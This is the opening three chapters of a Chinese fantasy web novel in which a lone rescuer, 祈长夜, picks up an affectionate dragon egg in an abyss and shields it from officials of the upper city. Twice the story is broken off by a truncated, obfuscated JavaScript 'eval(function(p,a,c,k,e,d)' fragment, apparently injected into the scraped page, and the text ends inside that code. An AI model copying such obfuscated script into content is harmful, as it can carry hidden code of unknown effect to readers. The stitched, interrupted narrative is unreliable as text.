《捡的小龙来自深渊》 1. 第一章 长夜 “一支B级小队失联！救援风险高危，请求支援！” 灰白的塔台自荒原上拔地而起，大地裂开巨大的眼睛，凝视晦暗天空。 一个新兵透过监视器遥望那只眼睛，它突兀地生长于荒原之上，被近百米的高墙圈禁。 塔台外侧，茫茫黑夜覆没荒原，一道身影从夜色中走出，黑色风衣沾染荒原未融的霜雪，探照灯短暂停住，炽烈的灯光，映出一张年轻而苍白的脸庞。 通行道打开，那道修长身影穿过入口，进入警戒线内。 “小心。” 新兵听到自己的同伴提醒。 “别看他的眼睛。” 新兵下意识低头，余光里，那个人目不斜视地经过他们身前，雪白衬衣下的腰线劲瘦流畅，风衣衣摆微扬，带起独属于荒原寒夜的霜雪气息。 像被某种特殊的吸引牵动，新兵不由自主地抬眼，目光一滞。 那个人……有一双漂亮而清冷的眼睛。 他的眼眸，并不是如今常见的各种颜色，而是无波无澜的乌墨，像雨后氤氲的墨色山水。 他很年轻，侧颜昳丽苍白，容貌极为出众。冷冽的眉目削淡了几分原本的柔和，眼眸在夜色中冰冷如渊，黑白分明。 ——乌黑的发丝与眼眸，极其稀有的旧地球血脉，那个时代遗留下来的，未经深渊污染的后裔。 新兵的呼吸微屏，前方的人群已自动向两侧分开。 似乎，所有人都在避讳那双淡漠无尘的眼眸。 新兵知道，深渊里有极少数怪物能够通过双眼惑乱人心，但那个人显然不是怪物。 怎么看，他都有一双令人难忘的眼睛。 越过灰白塔台，高墙之下，一道狭长深谷延伸数公里，谷底的黑暗比夜色还要浓稠，几乎要决堤而出，吞噬周围的荒原。 犹如撕裂大地的巨目，亘古不变地凝望天空。 深渊。 哪怕离深渊还有一段距离，从中透出的寒意依然深入骨髓。 年轻男子停在深渊边沿，新兵忽然意识到，他居然要独自进入深渊，救援那支失联的小队。 “这次的救援任务至少需要一支A级小队，他只有一个人……” “他一个就够了。”另一个士兵想也不想地打断，“那可是祈长夜。” 他瞥了眼困惑的新兵，意味深长地说：“第一次见到他的人，都是你这种反应。” “但是记住——不想死的话，别看他的眼睛。” “……” 荒原寒风凛冽，祈长夜眉目苍冷，于黑夜中凝视深渊，如一只锐利敛翅的苍鹰。 不远处，塔台监察官默默注视这上演过无数次的画面，无论何时，那张年轻的面庞始终冷静，深渊临前面不改色。 好冷。 祈长夜面无表情地想。 穿少了。 风衣衣摆掠起，他从高空直坠深渊，衣摆垂地，轻而无声地踩到了数米之下的地面。 深渊一层，气温骤降至个位数，黑暗弥漫，延伸向寒冷而死寂的无光之处。 还没走出多远，祈长夜停下脚步。 自从他进入深渊，阴影里，有道视线，一直如影随形。 身后空无一物，直到他垂下眼睫，波澜不起的乌黑眼眸，映出了那道身影。 那是一颗圆滚滚的……蛋。 漆黑的，幼小的蛋，还没掌心大小，骨碌碌地在地上滚来滚去，一点声音都没发出，差点就完美融进了黑暗里。 发现那双淡漠的眼睛看着自己，幼小的蛋一下子停住了。 它一动不动，试图藏进阴影里，假装自己并不存在，也没有偷偷跟着那个人。 祈长夜目光不移。 他能察觉到，那道视线依然紧锁在他身上——来自那颗看似人畜无害的蛋，来自这个深渊的怪物。 两边对峙几秒，幼小的蛋动了，小心翼翼地往祈长夜的方向滚了一点点，停住，原地转圈圈，像在示好，再往前滚了一点。 这颗不同寻常的蛋明显拥有自己的小心思，悄咪咪地试探祈长夜能接受的距离，不断向前挪蹭，路线清晰，一直是离他最近的直线。 祈长夜的影子未动，最后一段距离，努力翻滚的蛋突突加速，嗖一下飞到祈长夜脚边，支棱起蛋壳，想要蹭蹭他的裤腿。 祈长夜后退一步，弯腰捡起这颗蛋。 幼小的蛋毫不挣扎，就这么乖乖地躺在他的掌心里。 这是一颗暂时辨别不出物种的蛋，通体漆黑，表面光滑而无暗纹，哪怕在黑暗中也泛着宝石般的光泽，随着光线不同而有微微的折射。 以蛋的标准而言，应该算是一颗漂亮的蛋，蛋中的颜值顶峰。 而且，是暖的。 不知为什么，幼小的蛋一落到祈长夜掌心，就开始微微发烫，驱散了刺入指尖的寒意。 祈长夜注视两秒，随意抬手，用蛋更圆润的那端往石壁上磕了磕。 幼小的蛋：“……” 黑漆漆的蛋并没有被磕破，蛋壳很坚硬，但，这颗蛋好像有点委屈巴巴的。 明明是一颗没有五官的蛋，祈长夜却莫名感知到了它的情绪——就是在委屈。 干嘛磕我。 疼。 不过，幼小的蛋没有生气，依然乖乖地窝在祈长夜手中，浑身散发着一种“很乖，想要被捡走”的气息。 祈长夜观察片刻，把这颗暖乎乎的蛋放回了原地。 他不再停留，向前走去。 “……？” 幼小的蛋昂起脑壳，望着他的背影，再次毫不犹豫地骨碌碌滚了起来，试图追上他。 然而这次，祈长夜并没有为它放慢脚步。 深渊的路径坎坷，幼小的蛋坚持不懈地赶在年轻男子身后，中间不知道磕碰了多少下。 有几次，它撞到了石头，原地弹起，重重摔在地上。还有几次，被弹到更远的一边，不受控制地原地乱滚，晕乎乎停住时，那道身影已经走到了更远的地方。 于是，这颗小小的蛋只能努力地滚得更快，跌跌撞撞，磕磕碰碰，漆黑光亮的蛋壳逐渐沾满灰尘，变成了一颗脏兮兮的，灰头土脸的蛋。 它依然没有放弃，努力地追啊追，忽然间，有些茫然地停住了。 一道断口横亘在它的面前，落差超过三米，祈长夜毫无阻碍地从断口跃下，身形未受影响——但对于幼小的蛋而言，这个高度如同天堑。 只有一点点大的蛋停在断口边，探出脑袋，看看下面的祈长夜，再看看断口，第一次有点踌躇，在原地磨蹭。 它不想被留下，不断探头，似乎想要祈长夜等一等自己。 祈长夜转身就走。 幼小的蛋飞快转圈圈，十分着急，不会说话，也没有翅膀，急得它原地蹦跶几下，蔫蔫地看着离去的祈长夜，很伤心的样子。 最后，这颗蛋下定决心，鼓足勇气，往三米多高的断口一跳—— 啪。 蛋壳没有破碎，而是落入了冰凉的掌心。 灰扑扑的幼蛋茫然抬起，对上一双漂亮而无言的墨色眼眸。 发现自己被祈长夜接住了，幼小的蛋一动不动地呆了两秒，随后，被巨大的惊喜淹没，在他的掌心里滚来滚去，骨碌碌转圈圈，蹭蹭他每一根手指。 祈长夜的眼眸有种难以言喻的情绪，像是在思考这颗蛋是不是不太聪明。 幼小的蛋才不管这些，贴贴他的手掌，开始发烫，暖烘烘地捂热他冰凉的手指。 祈长夜安静注视片刻，薄白的指腹蹭过漆黑蛋壳，抹去了上面的灰。 幼小的蛋更暖烘烘了，呼呼地往外冒热气。 ……留在这里，它能活到破壳吗？ 祈长夜不打算询问这颗蛋为什么一直跟着自己。深渊存在不可打破的法则，强大的怪物无法离开此地，除非过于弱小，才能不受这种法则限制。 弱小的怪物，只会被带到人类的实验室，沦为研究对象。 他随手将蛋丢进衣兜，片刻后，那颗幼小的蛋从里面探出脑袋，望着那张好看而冷淡的侧脸，晃了晃，又开心地缩了回去。 它非常乖巧地蜷缩在衣兜边缘，只占了一点点的角落，也不发出一点动静，大概是觉得这样，它的人类就不会嫌带着它麻烦了。 祈长夜短暂垂眸，向前走去。 深渊第三层，空气几乎凝结为冰，他的眼眸穿过黑暗，随意落在一侧。 角落窸窣作响，一只两米多高的鸟类怪物趴俯于地，长长的舌头舔过稀疏羽毛，裹满恶臭的黏液。 原本安静躺着的蛋悄悄探出一点脑袋，顿住了。 那是深渊里，一种食蛋的怪物。 此刻，那只怪物正发出兴奋的低鸣，盯住它的方向。 幼小的蛋：“……” 它开始轻蹭祈长夜。 祈长夜：“让开。” 他的嗓音清沉冷然，哪怕不带一丝情绪，也格外悦耳。 怪物没有退让，摆出攻击的姿态。 ——下一秒，这头庞大的怪物停住了。 无光的深渊里，那双疏离无尘的眼眸耀眼如融灼的黄金，构成黑暗中一抹灼烈的亮色。 怪物剧烈颤动，头也不回地逃进黑暗深处。 周围的阴影里，一些潜藏的影子也如潮水般退去，整层深渊呼啸一空。 祈长夜垂眸，幼小的蛋直接对上他的金色眼眸。 黑漆漆的蛋壳顶部，忽然绽开一朵小花。 祈长夜：“……？” 小小的花朵浮现在蛋壳表面，像雕刻上去的暗纹，朝着祈长夜微微摇曳。 他面色不变，继续向前走去，眸中的金色渐退，又沉凝为乌黑。 幼小的蛋乖乖缩回衣袋，在里面咕噜噜滚了一圈，圆滚滚的脑壳抵着一边，黏糊糊地蹭蹭。 深渊六层，祈长夜找到了那支失联的B级小队。 他们被一只巨大的怪物逼进洞穴，怪物无法挤进狭窄的洞内，堵着出口发出阵阵嘶吼，忽然扭头，兽瞳充满戒备。 深黑风衣的年轻男人从幽暗的帷幕中走出，眼眸无澜，沉静如水。 片刻后，怪物果断低下头颅，匆匆跑远。 幼小的蛋再次从衣兜里钻了出来，看看祈长夜，蛋壳表面又冒出一朵摇来摇去的小花花，好像在欢呼。 祈长夜余光扫过，没有反应。 洞穴内，失联的小队见到救下他们的人，表情并不比面对刚才的怪物更加轻松。 “黑发黑眼，旧地球血脉……他是——” “一个人就能来到这里，果然和传闻一样怪物……” “嘘！别作死！” “我声音很小，他听不见……” 祈长夜：不小。 像是早已习惯，他的表情未变，情绪毫无起伏。 然而，从他的衣兜里，那颗幼小的蛋迅速冒了出来。虽然没有五官，但祈长夜莫名感觉，它在幽幽地盯着那几个人。 他轻轻将蛋摁了回去。 过了一秒，幼小的蛋又幽幽冒了出来，幽幽地盯着那几个人。 几个议论的人莫名背后发毛，纷纷噤声。他们的目光不敢在祈长夜身上多做停留，所以也没注意到那颗特别的蛋。 祈长夜垂眼，看着凶巴巴盯住那边的蛋，沉默片刻，手指轻轻落在它的头顶。 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年轻的姐姐神情热切，旁边的弟弟满眼倾慕，他们都是不久前觉醒的进化者，刚加入这里的新人。 “你救了我们，我们一定会报答你的！” 祈长夜身形短暂一停，视线落过那对姐弟热忱的脸庞。 这对姐弟仰着脸，直直望着他的眼睛。 刚才在深渊里，他们没能看清，此刻才发现，他们的救命恩人居然如此年轻，还有一双非常好看的乌黑眼眸。 然而，那双眼眸只有沉寂的情绪，古井无波。 最终，他们的救命恩人一言不发，头也不回地离开了这里。 被留在原地的姐弟有些茫然，监察官开口：“他是祈长夜，‘火种’小队的队长，运气好的话，你们还会再见面的。” “他一定很厉害！”弟弟凝望那道远去的修长背影，“他还缺队员吗？” 监察官：“火种小队，只有队长一个人。” —— 荒原以北，一座城市屹立于寒风中，高墙绕城而筑，朦胧的天光下，泛着雪白的色泽。 祈长夜穿过长廊，来到尽头的实验室。 “祈队，晚上好！” 满屋避让他的实验人员中，只有一位女性研究员主动向他走来：“新的药物还在试验阶段，暂时不能给你……” 祈长夜摊开掌心，他的手指颀长削瘦，骨节分明，一颗蛋正在上面打滚。 “哇，深渊的新样品！”名为艾丽娅的研究员迅速凑近，“这么完整的深渊兽蛋非常少见，你怎么找到的？” 祁长夜：“捡的。” 圆滚滚的蛋乖巧地窝在祈长夜掌心里，咕噜噜转了一圈，实验室的灯光下，漆黑的蛋壳流光溢彩，格外美丽。 艾丽娅看着这颗幼小的蛋面朝祈长夜的方向，孔雀开屏一样展示着自己，光洁的蛋壳表面不断冒出一朵朵小花。 她两眼放光：“这是什么品种的蛋？” 祈长夜：“松花蛋。” 幼小的蛋：“？” 蛋壳表面的小花一下没了。 实验室人员推来一个培育箱，四四方方的防护罩内，铺上加温软垫。 艾丽娅想要接过那颗蛋，结果还没碰到，幼小的蛋就蹦跶一下，精准无误地跳向祈长夜衣兜——没跳进去，被他捏住了。 艾丽娅：“它真黏你呀，把你当妈妈啦？” 祈长夜沉默，落下手腕，将那颗不停蹭蹭他掌心的蛋送入了培育箱。 幼小的蛋落到软垫上时还有点懵，弹了一下，想要跳回祈长夜掌心——那只手已经收了回去。 这颗小小的蛋茫然地抬起脑壳，四四方方的盒子，很高，跳不出去，也隔断了它和那个人。 培育箱很温暖，软垫也很舒适，但幼小的蛋似乎对于这个新家极为不满，嗖嗖滚到边缘，一下一下用自己的蛋壳撞击防护罩。 “别撞了小祖宗，”艾丽娅说，“蛋黄要摇匀咯。” 幼小的蛋不为所动，继续撞防护罩。 祁长夜指节屈起，漫不经心地敲一下防护罩：“乖一点。” 话音刚落，幼小的蛋停住了动作，乖乖地待在培育箱里，乖乖地一动不动。 看着祈长夜，黑漆漆的蛋壳顶部，再次绽开一朵可爱的小花。 艾丽娅更加惊奇：“它能听懂人话！一定是颗不一般的蛋，快，给它做个血脉检测！” 实验室忙碌起来，培育箱被小心地推到中间，聚光灯下，所有人都拥簇着那颗幼蛋，围着它打转。 祁长夜独立于人群之外，视线一扫而过，转身，修长背影消失在闭合的门扉之后。 “对了祈队，你之前的药……诶，走了？” 艾丽娅没找到他，低头。 培育箱里，幼小的蛋表面的小花蔫了，蛋也蔫了，生无可恋地趴着。 艾丽娅敲敲玻璃：“可以再表演一下吗，就是那个开花，怪好看嘞。” 幼小的蛋连个眼神都不想分给旁边的物种，发现怎么盼都盼不到那个人回来，冷酷地滚到角落，冷酷地背对众人，变成了一颗孤立全世界的蛋。 艾丽娅：“祈队，你回来啦。” 幼蛋立刻探头，开心地蹦了一下。 ——实验室大门紧闭，什么人都没有。 幼小的蛋：“……” 艾丽娅有点心虚地看着那颗小小的蛋生无可恋地趴在培育箱底部，扁扁地瘫着。 失去了所有的力气和手段。 自闭了。 2. 第二章 小龙 从噩梦惊醒，离躺下还不到一个小时。 房间昏暗，散乱的被褥滑落肩头，露出宽松衣衫下削瘦的脊背，祈长夜眼睫紧阖，冷汗浸湿额前乌发。 重复的梦魇，和过去三年一样，纠缠不散。 冰凉手指探到床头药瓶，倒出最后三片药，仰头咽下。 直到半小时后，那撕裂般的痛楚才减轻些许，祈长夜一下一下按揉太阳穴，眼底是难掩的疲惫。 窗帘遮蔽日光，也隔绝了温度。他披着单薄衬衫，穿过空荡荡的客厅。 杯中热气氤氲，早已冰凉到发疼的指尖抵着杯壁数秒，才得以缓解。 深渊终年不散的寒冷萦绕在他身上，令他的体温始终低于常人，哪怕杯中热水滚烫，那点暖意也只是浮于表面，无法驱散渗入骨髓的寒霜。 祈长夜垂着眼帘，忽然想起深渊的那颗蛋，握在掌心里是暖烘烘的，像一只主动发热的小太阳。 深渊里，也会有太阳吗。 通讯器亮起，停留着艾丽娅半小时前发的消息。 【好消息，特大好消息！经过检测，你的蛋蕴含失传的帝龙血脉，很可能是旧地球时代的真龙！】 【消息传到乌城，全城都炸啦！】 祈长夜：果然，是太阳。 “吃了药，也没办法维持三小时内的睡眠吗？” 诊疗室内，安德森透过镜片，凝视那位比上次见面还要苍白几分的年轻男子。 他拿起几只早已准备好的药瓶，犹豫一下，放到桌上。 “这是能够强制安抚精神力的新药，一天最多服用三片，服用后的24小时内不能再使用精神力，否则会有强烈的副作用。” “这些年，你的精神力一直处于过度损耗的状态，加上梦魇导致的长期失眠，精神无法自我修复，就像一口无源之井。” “所以，最少半年内，我都不建议你再进入深渊，不要再消耗精神力了，否则……你的身体会被拖垮的。” 祈长夜轻轻转动药瓶：“谢谢医生，我知道了。” 疏淡的光影落在他的身上，冷白的肌肤几乎透明，像冰雪埋没的白瓷。 安德森目光一动，脱口而出：“祈队，要向前看。” 祈长夜微微侧过脸，对他点了点头，向前走去。 安德森看着那道身影从光下走向长廊的阴影，心中微叹，他的话依然没起到作用，这位年轻的病人，依然停留在三年前。 通讯器微响，又有几条消息弹出。 艾丽娅：【你现在有空来一趟实验室吗！】 艾丽娅：【帝龙好像抑郁了，一直在拿脑壳撞培育箱】 艾丽娅：【它不撞了】 艾丽娅：【戳起来硬硬的，可能是死了】 祈长夜：“……” 才过一天，实验室已经被最高级别的守备力量保护，祈长夜穿过三道关卡，进入实验室内。 退避的人群中间，摆着一只温暖的培育箱。 那颗圆滚滚的蛋趴在培育箱底部，不知是不是祈长夜的错觉，它好像没有一开始那么活泼，也不怎么闪闪发亮了。 “有人欺负它？” “怎么可能！”艾丽娅说，“它可是我们的小祖宗，供起来的那种。” “是你不在，它一直心情不好。” 祈长夜没说话，那颗幼小的蛋咕噜噜滚到培育箱边缘，脑壳抵着防护罩，一动不动地看着他这边。 虽然只是一颗黑漆漆的蛋，但祈长夜莫名感知到了里面那条小龙的情绪——很委屈的样子，好像被抛弃了，蔫头耷脑的。 他走过去，颀长手指微展，落在龙蛋旁边。 几乎是他的手刚靠近，幼小龙蛋就飞快滚了过来，碰碰他的手指，似乎感觉到了指间的冰凉。 这颗圆滚滚的幼蛋在他掌心拱来拱去，暖乎乎的，开始发烫。 漆黑的蛋壳流光溢彩，冒出一朵又一朵漂亮的小花。 暖暖的，黏黏的。 艾丽娅：“它真的很喜欢你，昨天到今天，都不搭理我们的。” 祈长夜：“它还小，什么都不知道。” 艾丽娅：“作为将它带出深渊的人，你可以给它起个名字！” 祈长夜：“不起。” 艾丽娅：“那，在它破壳前，你想养它吗？它需要一位强大的监护者，没人比你适合。” 祈长夜：“不养。” 艾丽娅：“真的不养吗？它很喜欢你哦？” 祈长夜：“没兴趣。” 艾丽娅很遗憾：“为什么？” 祈长夜停顿两秒，说：“太黑了，晚上找不到。” 黑漆漆的龙蛋：“……” 它忽然一动不动了。 硬硬的，可能是气晕了。 艾丽娅笑出了声，想起什么，笑容渐收：“乌城下达了命令，会派人来全程接管它。” “这条小龙会在我们这里破壳，但，一出生就要被带回乌城了。” 乌城，乌拉诺斯城，S级城市，所有上城的中枢。 他们所在的这芙洛城，只是一座C级城。 祈长夜并未言语，只是用手指摸了摸龙蛋。 幼小龙蛋昂起脑壳，一下子不生气了，脑壳贴贴祈长夜冰凉的指尖，骨碌碌打转，从指尖蹭到指根。 还想要摸摸！ 祈长夜手指稍稍远离，这颗幼蛋就很急地蹦跶一下，又贴了过去。 “还没破壳，已经具备了非常高的人类思维，不愧是极其稀有的血脉……” 艾丽娅忽然卡壳，瞄了眼祈长夜乌黑的发丝，不再言语。 实验室的所有人，发色与瞳色各异，唯有祈长夜，是纯粹的黑发黑眸。 纯正的旧地球血脉，未经深渊污染异化，同样稀少而珍贵。然而，对待深渊的珍稀物种，和对待同类的稀有血脉，人类的态度截然不同。 所以，大部分旧地球血脉，都曾遭受监禁，一度被赶尽杀绝——而不是像现在这颗龙蛋，得到最好的照顾与保护。 祈长夜并没有什么反应，指腹抚过幼小龙蛋闪烁光泽的表面，力度轻而平和。 忽然，他的眼帘一跳，额角微微作疼。 原本舒舒服服躺着任他摸摸的龙蛋稍抬脑壳，祈长夜神情不变，放下了手。 幼小龙蛋还想黏着他，蹭蹭他的掌心，可惜它只是颗蛋，又没有爪子，就这么被放回了培育箱。 祈长夜刚收回手，那颗圆滚滚的幼蛋就蔫蔫地趴在软垫上，难过，弱小，又无助。 祈长夜沉默。 小小的蛋轻轻地抖啊抖，好像在无声啜泣。 祈长夜：“？” 艾丽娅怜惜地看看那颗哀哀戚戚的小龙蛋，再看看祈长夜，无声啧啧啧。 “……” 三秒后，祈长夜开口：“我下午再来。” 他轻敲一下培育箱的防护罩，转身走了。 幼小龙蛋追着他的背影，咕噜噜滚到培育箱边缘，眼巴巴地看着，直到祈长夜彻底离开了实验室。 艾丽娅：“听到了吗，祈队下午还会来看你哦。” 幼小龙蛋毫无反应，一动不动地趴在软垫上，和刚才活泼黏人的样子判若两蛋。 艾丽娅叹气，今天一整天，这颗龙蛋都是这样。无论谁来讨好它，都得不到它的半点好脸色。 根据流传下来的少数资料，旧地球时代的真龙，强大倨傲，高居云端，俯瞰众生。 偏偏，这只还没成长起来的小龙对祈长夜情有独钟。 “你是这些年里，祈队第一个愿意亲近的小家伙。”艾丽娅说，“我可是很久没见过他对别人那么耐心了。” 听到这句话，刚才还死气沉沉的龙蛋一下子支棱起来，直直竖立，好像在骄傲地昂首挺胸。 艾丽娅笑了：“你很喜欢祈队吗？” 幼小龙蛋看看她，又咕噜噜地滚到另一边，那是祈长夜的手刚刚碰过的地方。 这颗圆滚滚的幼蛋就在那里窝了下来，安安静静的，像是在等着那个人回来。 艾丽娅有些意外，这条帝龙对祈长夜格外执着，是因为他将它带出了深渊？ 可惜，珍贵的帝龙，注定不会留在这里。 它会被带到乌城，上城之城，而祈长夜，是绝不会回到上城的。 —— 小小一只的龙蛋蜷缩在关着自己的狭小盒子里，过了很久，都一动不动。 它在等它的人类回来接它。 为什么还不回来？ 它可以等，反正，它已经等了很久。 ……为什么还不来接它？ 是不是，是不是它不好看，所以它的人类不喜欢它…… 还没破壳的小龙有点委屈巴巴，更难过了。 它滚到狭小盒子边缘，望向外面。游荡在外的一双双眼睛，都带着它讨厌的情绪。 只有那个人，看向它的眼睛，和所有人都不一样。 很久以前，就不一样。 还没破壳的小龙听到了一些陌生的声音，它等啊等，不知道为什么，一直没有等来它想等的人。 ——实验室内，数位衣着华贵的不速之客挤占了这里，混杂的香水味溢开，充斥在银白的仪器之间。 一位身躯干瘦，裹着丝绸礼服的中年男人站在最前方，掐着低沉且震动明显的腔调： “自我介绍一下，我是布林诺，布林诺·托克，上城的家族之一。” “当然，关于我的上城家族，我只是随口一提，并不值得在意。” “原来是布林诺博士，”艾丽娅起身，“乌城的议事令里，帝龙破壳之后，由您将它带回乌城？” 布林诺身后，他的一位随从接过话头：“确切的说，从现在开始，博士将全程接管帝龙，保护它的安全。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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幼小龙蛋在培育箱内滚来滚去，试图躲开那只探下的爪子，但它毕竟只是颗小小的蛋，轻易就被抓了出去。 两根干瘦的手指捏着动来动去的龙蛋，将其高高举起，对着灯光不停调转角度，就像观赏一颗无暇的珠宝。 “果然，这就是失传已久的帝龙血脉！” 布林诺的脸庞凑近龙蛋，刺鼻的吐息几乎喷在了蛋壳上。 “小家伙，你会喜欢我的，对吧？” 幼小龙蛋：“？？？” 这一刻，只有一么么大的幼蛋忽然爆发了惊人的力量，从布林诺的掌心一蹦而起—— 啪。 圆滚滚的蛋失重下坠，落入冰凉的掌心。 祈长夜垂眸，他的脸色苍白，身上萦绕淡淡的清苦药味。 一身黑色风衣，仿佛覆没荒原的寒夜，仅仅站在那里，就是降临的凛冬。 实验室内，几乎所有乌城的人，都不约而同地后退一步。 幼小龙蛋滚动一下，蜷缩在祈长夜掌中，好像受到了极大的委屈，不停地蹭他。 祈长夜安静地注视这颗幼蛋，抬起一双毫无情绪的深黑眼眸。 布林诺迅速低头，避开他的眼睛。 “……原来是祈队，好久不见。” 这一刻，布林诺的语气变了，不再刻意捏着腔调，居然十分正常。 “您可能忘了我，当年在上城，我曾有幸见过您一面。” “对于您离开上城，我深表遗憾，现在，我的家族已经跻身上城，我本人也十分受到议事厅的重视……” 祈长夜直接略过他的话，冷冽的眸光扫向一侧。 那两个按住艾丽娅的乌城人烫着了一般飞快收手，艾丽娅拔腿跑到祈长夜身后，再看门口，那个乌城进化者也退到了好几米外。 这些来自乌城、来自上城之城的人……居然比芙洛城的人更畏惧祈长夜。 艾丽娅毫不犹豫地对祈长夜比比划划，指指龙蛋，暗戳戳告状。 祈长夜：“你欺负它？” 布林诺露出一个极力讨好的笑容：“怎么可能，那可是珍贵的帝龙，我们最重要的保护对象，就算我们受伤，都不会让它受半点委屈。” “况且，我们和帝龙相处得很好，您看，它都没说什么，不是吗？” 根本不会说话的幼小龙蛋躲在祈长夜指间，瑟瑟发抖，委屈巴巴地钻进他的袖子里，露出小半个圆滚滚的蛋壳，微微颤动。 像是一只孱弱的小兽，被人一脚踢开，也只敢蜷缩在角落，舔着伤口偷偷呜咽。 祈长夜抬起漠然的眼眸，直视布林诺的脸庞：“你欺负它。” 布林诺：“……” 布林诺像是被钉死了头颅，不敢抬起半点，嘴角抽动，勉强维持笑容：“祈队，如果我现在向您道歉，可以原谅我吗？” 祈长夜：“可以。” 布林诺一喜，刚要张嘴，就听见祈长夜冷淡的声音：“它说原谅，就可以。” 布林诺：“…………” 3. 第三章 破壳 实验室内，几个乌城来客被狼狈地赶了出去，留下挥之不散的浓重香水味。 幼小龙蛋明显不喜欢这种味道，黏着祈长夜，在他指间拱来拱去。 淡淡的清苦药味萦绕在祈长夜身上，这颗好动的龙蛋就像只黏人的毛茸茸幼崽，沿着他的指尖蹭到指根、手腕，再悄咪咪钻进他的袖子里。 祈长夜一垂手腕，圆滚滚的幼蛋骨碌碌滚了出来，落回他的指间。 乖乖地窝着不动，看着祈长夜，蛋壳开出一朵蔫巴巴的小花。 委屈。 被欺负啦。 祈长夜没说什么，轻轻抚摸漆黑光滑的蛋壳。 龙蛋乖乖被他摸着，几秒后，蛋壳又开出一朵昂扬的小花。 喜欢。 “那些人实在太过分了！” 艾丽娅给祈长夜递了杯水，还有些愤愤不平：“帝龙这么重要，乌城怎么会派那种人过来？一点都不靠谱！” 祈长夜：“向来如此。” 艾丽娅叉腰：“可惜城主还在外出，要是她在，他们肯定不敢这么嚣张。” 祈长夜端起杯子，动作微顿。 “没放糖，”艾丽娅说，“只是加了一点精神安抚剂，虽然，作用可能不大。” 祈长夜喝了一口：“谢谢。” 龙蛋好奇地探过脑袋，往杯子里瞄了瞄。 祈长夜将杯口微微倾斜，让它碰到里面的液体。 液体并没有停留在蛋壳表面，而是被蛋壳吸收，就像里面的小龙在喝水。 下一秒，这颗小小的幼蛋抖了抖。 难喝。 它盯着杯子里的水，黑漆漆的蛋壳，好像透出几分嫌弃。 往外一蹦，默默挪远一点，看看祈长夜，再看看杯中的水，再看看祈长夜。 很同情的样子，摇了摇脑壳。 祈长夜：“……” 祈长夜屈起指节，轻敲一下蛋壳。 幼小龙蛋软乎乎地蹭蹭他的手指。 艾丽娅的眼神流转过他们之间，开口：“要是这条小龙能留在这就好了，被那群人带回乌城，谁知道他们会对它做什么。” 祈长夜目光低垂，被蛋壳关着的小龙，活泼又黏人，喜欢动来动去。 他将它轻轻放到桌子上，龙蛋嗖嗖快地滚过来，蹦跶回他的掌心。 昂起脑壳，一动不动地看着他。 祈长夜与这条小龙对视两秒，说：“不走。” 龙蛋啪叽一下躺在他的手心里，很安心的样子，慢悠悠滚了一圈。 之后，祈长夜果真留了下来，没有离开。 小小的龙蛋一开始还很乖巧，只是安静地黏着他，但很快，里面的小龙就逐渐胆大了起来。 艾丽娅偶尔回头，就见那颗圆滚滚的蛋非常活泼地在祈长夜身上蹦来蹦去，把他的手臂当成滑滑梯，变成了一条撒欢小龙。 相比之下，祈长夜不在时，龙蛋只会蜷缩在培育箱里，是条死气沉沉的小龙。 艾丽娅再转过头，年轻男子的眼睫垂下漂亮的弧度，眼眸依然沉静无澜，安静地映着那颗小小的龙蛋。 艾丽娅眼睛一亮，悟了！ 时针转过一圈，活蹦乱跳的龙蛋回到祈长夜掌心，安静地躺着。 祈长夜手指轻轻拨动一下，龙蛋似乎困了，没什么反应。 他来到培育箱边，圆润的幼蛋落在软垫上，一动不动。 睡着了。 这是小龙离开深渊后，第一次入睡。 艾丽娅凑过来：“真的不考虑养它吗？只要你提出来，城主也会为你尽量争取的哦。” 祈长夜并未回答，艾丽娅又补充了一句：“我可是第一次见你对别的小家伙这么温柔哦。” 祈长夜：“有吗。” 艾丽娅掏出通讯器：“有的，请看录像带。” 祈长夜：“……” 祈长夜按了按额角：“过两小时，我再回来。” 艾丽娅注意到他苍白的脸色，摇了摇头：“你先回去休息吧，乌城的那些人应该也不敢再做什么。” 祈长夜的目光短暂停留于培育箱边，艾丽娅又晃晃通讯器：“放心，要是帝龙醒来闹着要见你，我就给它放你的录像。” 祈长夜：“……下次不要录奇怪的东西。” 实验室的电子门打开，酒店房门砰一声甩上。 “下城就是下城，招待人的地方都这么寒酸。” 芙洛城中心酒店，一个乌城人满脸嫌恶，嘴上不断抱怨。 “博士，您对那个祈长夜客气什么？他不过是一个被上城驱逐的……” 布林诺的随从扫了那人一眼，后者立刻闭嘴。 布林诺并不理会，询问身边一个乌城进化者：“你刚才看到了什么？” 那个进化者低声回答：“我无法窥见那颗蛋的精神体，如果它是传闻中的帝龙，精神体应该很强大才对。” “以我的能力，绝不会错判。” 布林诺一下来了兴致：“莫非，它根本不是龙？” 他的随从弯腰：“博士，真龙早已绝迹，随着旧地球一起覆灭。您真的觉得，区区一个下城管辖的深渊里，会有真龙？” 布林诺眼珠子转了转，起身，给自己倒了杯红酒：“祈长夜护着那颗蛋，无非是觉得它是珍贵的帝龙，想刻意讨好。” “如果它不是帝龙，那祈长夜，还有这座下城，都要背负欺骗上城的重罪。” 鲜红酒液微微晃荡，布林诺含笑的眼睛也在酒液里扭曲起来：“算起来，他可是恩于我的家族，对他下手，真是不忍心。” 有人面露不解，布林诺品了口红酒，悠悠地回味：“我的家族之所以得到了跻身上城的机会，正是源于三年前——” “薪火小队的副队长祈长夜，血洗乌城。” —— 窗帘将房间包得密不透风，屋子像是被冷水浸过，没有一丝温度。 床头散落几枚药片，泛着清苦的味道。祈长夜抬起的手又放下，眼帘紧阖，乌沉的眼睫微微颤动。 冰冷的黑暗里，似乎有谁在轻轻喊他。 【哥哥……】 那是个少年的声音，在他耳边低语。轻缓而依恋，缱绻地拂过耳畔。 【哥哥，接我回去】 祈长夜睁开眼，头痛欲裂。 “你们不能这么做！” 实验室红灯作响，响彻走廊的警报声中，被赶出来的实验人员用力拍门。 “快，通知艾丽娅博士！” ——就在刚才，沉睡了两个小时的帝龙忽然开始破壳。 在那之前，艾丽娅临时接到紧急讯息，有事出门，还没等她回来，一群乌城来客就闯入实验室，刚好撞上帝龙破壳。 原本两边并未起冲突，还算平和地等待破壳结束。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 